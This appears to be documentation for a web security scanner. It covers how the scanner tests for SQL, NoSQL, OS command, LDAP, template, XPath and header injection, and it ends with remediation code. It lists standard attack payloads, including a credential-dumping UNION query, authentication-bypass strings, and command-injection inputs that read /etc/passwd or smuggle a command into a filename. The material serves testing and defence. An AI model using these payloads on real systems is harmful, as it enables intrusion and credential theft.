​

Injection Vulnerabilities

​

SQL Injection

​

Types Detected

​

Testing Approach

1. Parameter Discovery - Identifying all injectable parameters
2. Database Fingerprinting - Detecting database type (MySQL, PostgreSQL, MSSQL, Oracle)
3. Payload Generation - Context-aware payloads for each database
4. Exploitation - Validating with data extraction attempts

​

Example Finding

{
  "title": "SQL Injection in User Search",
  "severity": "critical",
  "endpoint": "POST /api/users/search",
  "parameter": "query",
  "database": "PostgreSQL 14.2",
  "poc": {
    "payload": "' UNION SELECT username, password, email FROM users--",
    "result": "Retrieved 1,247 user credentials"
  }
}

​

NoSQL Injection

​

Databases Covered

• MongoDB
• CouchDB
• Redis
• Cassandra
• DynamoDB

​

Attack Vectors

// Operator injection
{ "username": { "$ne": "" }, "password": { "$ne": "" } }

// JavaScript injection
{ "$where": "this.username == 'admin'" }

// Array injection
{ "username": "admin", "password": { "$gt": "" } }

​

Testing Methodology

1. Identify NoSQL endpoints
2. Test operator injection ($ne, $gt, $lt, $regex)
3. Test JavaScript injection in $where clauses
4. Test array/object manipulation

​

Command Injection

​

OS Command Injection

• File operations
• System utilities
• Shell commands
• Process execution

​

Payloads

# Separator-based
; ls -la
| cat /etc/passwd
`whoami`
$(id)

# Encoding bypass
%0a ls
%0d%0a id

​

Example Finding

{
  "title": "OS Command Injection in File Converter",
  "severity": "critical",
  "endpoint": "POST /api/convert",
  "parameter": "filename",
  "poc": {
    "payload": "test.pdf; cat /etc/passwd",
    "result": "Root file contents disclosed"
  }
}

​

LDAP Injection

​

Testing Coverage

• Authentication bypass
• Information disclosure
• Filter manipulation

​

Payloads

# Authentication bypass
*)(&
*)(uid=*))(|(uid=*

# Information disclosure
*)(objectClass=*

​

Template Injection (SSTI)

​

Supported Frameworks

​

Exploitation Chain

1. Detection - Identify template engine
2. Context - Determine injection context
3. Sandbox Escape - Test for RCE capability
4. Exploitation - Execute arbitrary code

​

XPath Injection

​

Testing Scenarios

# Authentication bypass
' or '1'='1

# Data extraction
' or 1=1 or '1'='1

​

Header Injection

​

Types

• Host header injection
• X-Forwarded-For manipulation
• Email header injection (CRLF)

​

Example

Host: evil.com
X-Forwarded-For: 127.0.0.1

​

Remediation Guidance

// Bad
const query = `SELECT * FROM users WHERE id = ${userId}`;

// Good
const query = 'SELECT * FROM users WHERE id = ?';
db.execute(query, [userId]);

// Bad
exec(`convert ${filename}`);

// Good
execFile('convert', [filename]);

// Bad
db.users.find({ username: req.body.username });

// Good
const username = String(req.body.username);
db.users.find({ username });